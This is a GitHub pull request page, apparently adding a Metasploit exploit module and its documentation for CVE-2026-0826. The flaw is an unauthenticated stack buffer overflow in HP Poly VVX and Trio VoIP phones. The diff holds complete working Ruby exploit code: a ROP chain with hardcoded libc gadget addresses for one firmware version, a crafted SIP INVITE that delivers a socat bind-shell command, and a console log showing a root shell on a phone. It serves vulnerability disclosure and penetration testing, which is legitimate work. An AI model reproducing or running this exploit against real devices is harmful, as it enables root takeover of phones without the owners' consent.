Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
## Vulnerable Application
CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all
models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/misc/poly_unauth_rce_cve_2026_0826`

Configure the target:

3. `set RHOST <TARGET_IP_ADDRESS>`

Configure the payload (This defaults to `cmd/unix/bind_socat_tcp`):

4. `set PAYLOAD cmd/unix/bind_socat_tcp`
5. `set LPORT 4444`

You can check if the target is vulnerable.

6. `check`

Exploit the vulnerability and get a root shell.

7. `exploit`

## Scenarios

### Example 1

Exploiting an HP Poly VVX 450 device running version `6.4.7.4477`.

```
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > set RHOST 192.168.86.80
RHOST => 192.168.86.80
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > show options

Module options (exploit/linux/misc/poly_unauth_rce_cve_2026_0826):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.86.80 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 5060 yes The target port (UDP)


Payload options (cmd/unix/bind_socat_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.86.80 no The target address


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > check
[*] 192.168.86.80:5060 - The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
msf exploit(linux/misc/poly_unauth_rce_cve_2026_0826) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Poly VVX_450 version 6.4.7.4477
[*] Started bind TCP handler against 192.168.86.80:4444
[*] Command shell session 1 opened (192.168.86.122:33875 -> 192.168.86.80:4444) at 2026-06-02 11:59:28 +0100

id
uid=0(root) gid=0(root)
date
Tue Jun 2 11:59:30 UTC 2026
uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown
pwd
/ffs0
exit
[*] 192.168.86.80 - Command shell session 1 closed.
```
253 changes: 253 additions & 0 deletions modules/exploits/linux/misc/poly_unauth_rce_cve_2026_0826.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,253 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HP Poly Voice Unauthenticated Remote Code Execution',
'Description' => %q{
CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all
models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP
Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve
unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present
in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment
(ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a
remote attacker.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2026-0826'],
['URL', 'https://support.hp.com/us-en/document/ish_15052661-15052687-16/hpsbpy04083'],
['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed/']
],
'DisclosureDate' => '2026-06-01',
# While the target is an embedded Linux system, there is no curl/wget/ftp for the command payloads, so we
# only expose the Unix payloads. Only the socat payloads have been tested to work.
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # /usr/local/root/polyapp runs as root
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
# NOTE: Tested with the following payloads:
# cmd/unix/bind_socat_tcp
'DefaultOptions' => {
'RPORT' => 5060,
'PAYLOAD' => 'cmd/unix/bind_socat_tcp',
'SocatPath' => '/usr/local/bin/socat',
'BashPath' => '/bin/sh'
},
'Payload' => {
'BadChars' => "\r\n\0 ",
'Encoder' => 'cmd/ifs'
},
'Notes' => {
'Stability' => [CRASH_OS_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
connect_udp

sip_response, model_str, version_str = get_version

unless sip_response.nil? || model_str.nil? || version_str.nil?

version = Rex::Version.new(version_str)

description = "Poly #{model_str} version #{version_str}"

# Per the vendor advisory, every model in the VVX family is vulnerable, and three models in the Trio family
# are vulnerable. The fixed firmware version is also given here.
affected_ranges = [
{ family: 'vvx', model: nil, fixed_version: '6.4.8' },
{ family: 'trio', model: '8300', fixed_version: '8.1.7' },
{ family: 'trio', model: '8500', fixed_version: '7.2.8' },
{ family: 'trio', model: '8800', fixed_version: '7.2.8' },
]

affected_ranges.each do |affected_range|
next unless model_str.downcase.include?(affected_range[:family])

next if (affected_range[:model]) && !model_str.downcase.include?(affected_range[:model])

next unless version < Rex::Version.new(affected_range[:fixed_version])

# NOTE: When we use "Require: ice" in the request, we get a "420 Bad Extension" response if ICE is enabled
# but not fully configured. The phone will still be exploitable.

if sip_response.start_with? "SIP/2.0 200 OK\r\n"
return Exploit::CheckCode::Appears(description)
end

return Exploit::CheckCode::Detected(description)
end

return Exploit::CheckCode::Safe(description)
end

CheckCode::Unknown
ensure
disconnect_udp
end

def exploit
connect_udp

cmd = payload.encoded.to_s

unless datastore['PAYLOAD'] == 'cmd/unix/bind_socat_tcp'
print_warning('Only the unix socat payload cmd/unix/bind_socat_tcp has been verified to work')
end

vprint_status("cmd: #{cmd}")

_, model_str, version_str = get_version

fail_with(Failure::UnexpectedReply, 'Failed to get target version') unless version_str && model_str

rop_table = nil

if model_str.downcase.include? 'vvx'
rop_table = get_vvx_rop_table(version_str)
else
fail_with(Failure::BadConfig, "No ROP table available for model #{model_str}")
end

fail_with(Failure::BadConfig, "No ROP table available for #{model_str} version #{version_str}") unless rop_table

vprint_status("ROP Table: #{rop_table}")

# we use system() which will do "/bin/sh -c <CMD>" for us.

attribute_name = 'a=candidate:'

overflow = attribute_name
overflow += 'A' * (256 - attribute_name.length) # fill the 256 byte stack buffer
overflow += 'B' * 19 # padding
overflow += '1111' # r4
overflow += '2222' # r5
overflow += '3333' # r11
# .text:40A71454 POP {PC}
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget1]].pack('V') # pc #1 - align stack (otherwise we are off by 4 and libc!fork will SIGSEGV during libc!system)
# .text:40B57C0C POP {R0-R3,PC}
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget2]].pack('V') # pc #2 - set r3 to libc!system
overflow += 'CCCC' # r0
overflow += 'CCCC' # r1
overflow += 'CCCC' # r2
overflow += [rop_table[:libc_base] + rop_table[:libc_system]].pack('V') # r3 - # .text:40A939C8 ; int __fastcall system(char *cmd)
# .text:40B41BF4 MOV R0, SP
# .text:40B41BF8 BLX R3
overflow += [rop_table[:libc_base] + rop_table[:libc_gadget4]].pack('V') # pc #3 - set r0 == cmd, and call system(cmd)
overflow += cmd # &sp

_, udp_lhost, udp_lport = udp_sock.getlocalname

sdp_data = "c=IN IP4 #{udp_lhost}\r\n"
sdp_data += "m=audio #{rand(50_000..50_999)} RTP/AVP 0\r\n"
sdp_data += "a=rtpmap:0 PCMU/8000/1\r\n"
sdp_data += "#{overflow}\r\n"

call_id = Rex::Text.rand_text_hex(16)

cseq = rand(65_535)

sip_request = "INVITE sip:#{rhost}:#{rport} SIP/2.0\r\n"
sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n"
sip_request << "Route: <sip:#{udp_lhost}:#{udp_lport};lr>\r\n"
sip_request << "From: <sip:#{rhost}:#{rport}>\r\n" # The From is the target ip, as this can appear in the UI as a missed call.
sip_request << "To: <sip:#{rhost}:#{rport}>\r\n"
sip_request << "Contact: <sip:#{rhost}>\r\n"
sip_request << "Call-ID: #{call_id}\r\n"
sip_request << "CSeq: #{cseq} INVITE\r\n"
sip_request << "Content-Type: application/sdp\r\n"
sip_request << "Content-Length: #{sdp_data.bytesize}\r\n"
sip_request << "\r\n"
sip_request << sdp_data

udp_sock.put(sip_request)
ensure
disconnect_udp
end

def get_version

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If we want to cache it

Suggested change
def get_version
def get_version
@version ||= _get_version
end
def _get_version

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this was added via 61a9870.

# Cache the response for the scenario where exploit is run with AutoCheck true. This avoids a second SIP OPTIONS
# request being sent to the target.
@get_version ||= _get_version
end

def _get_version
_, udp_lhost, udp_lport = udp_sock.getlocalname

sip_request = "OPTIONS sip:#{rhost}:#{rport} SIP/2.0\r\n"
sip_request << "Via: SIP/2.0/UDP #{udp_lhost}:#{udp_lport}\r\n"
sip_request << "From: <sip:#{udp_lhost}:#{udp_lport}>\r\n"
sip_request << "To: <sip:#{rhost}:#{rport}>\r\n"
sip_request << "CSeq: #{rand(65_535)} OPTIONS\r\n"
sip_request << "Call-ID: #{Rex::Text.rand_text_hex(16)}\r\n"
# The vuln is in a non-default service for Interactive Connectivity Establishment (ICE). We use the Require header
# to ask the target if it supports ICE.
sip_request << "Require: ice\r\n"
sip_request << "\r\n"

udp_sock.put(sip_request)

sip_response = udp_sock.get(udp_sock.def_read_timeout)

unless sip_response.empty?
# HP Poly VVX devices are vulnerable.
# Example user agent string: "User-Agent: PolycomVVX-VVX_450-UA/6.4.7.4477"
if sip_response =~ %r{User-Agent:\s*PolycomVVX-(VVX_\d+)-UA/([\d+.]+)}i
return sip_response, Regexp.last_match(1), Regexp.last_match(2)
end

# HP Poly Trio devices are vulnerable also, Recog has a regex and example values for these:
# https://github.com/rapid7/recog/blob/d6b0ee8b5272198c0d2e38d78999836c821f0934/xml/sip_banners.xml#L763C25-L763C112
# Example user agent string: "User-Agent: PolycomRealPresenceTrio-Trio_8800-UA/5.4.0.12197"
if sip_response =~ %r{User-Agent:\s*(?:Polycom/[\d.]+ )?PolycomRealPresenceTrio-(Trio_\S+)-UA/([\d.]+)(?:_(.{12}))?}
return sip_response, Regexp.last_match(1), Regexp.last_match(2)
end

end

[nil, nil, nil]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we follow the recommendation for the codebase, where we suggest using a Hash return type as opposed to an array?

end

def get_vvx_rop_table(version_str)
rop_tables = {
'6.4.7.4477' => {
# Even though /proc/sys/kernel/randomize_va_space is 1, all libraries are

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now I'm curious as to why ASLR doesn't work :D

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So am I. The SO libraries like libc-2.8.so are compiled with PIE so I expected them to be randomized per-boot, but that never happened. I spent some time looking at the kernel to see if something obvious was present, but I want not able to identify the cause.

# mapped from 0x40000000, and libc ends up here.
libc_base: 0x40A5C000,
# .text:40A71454 POP {PC}
libc_gadget1: 0x15454,
# .text:40B57C0C POP {R0-R3,PC}
libc_gadget2: 0xFBC0C,
# .text:40A939C8 ; int __fastcall system(char *cmd)
libc_system: 0x379C8,
# .text:40B41BF4 MOV R0, SP
# .text:40B41BF8 BLX R3
libc_gadget4: 0xE5BF4
}
}

rop_tables[version_str]
end
end
Loading
Loading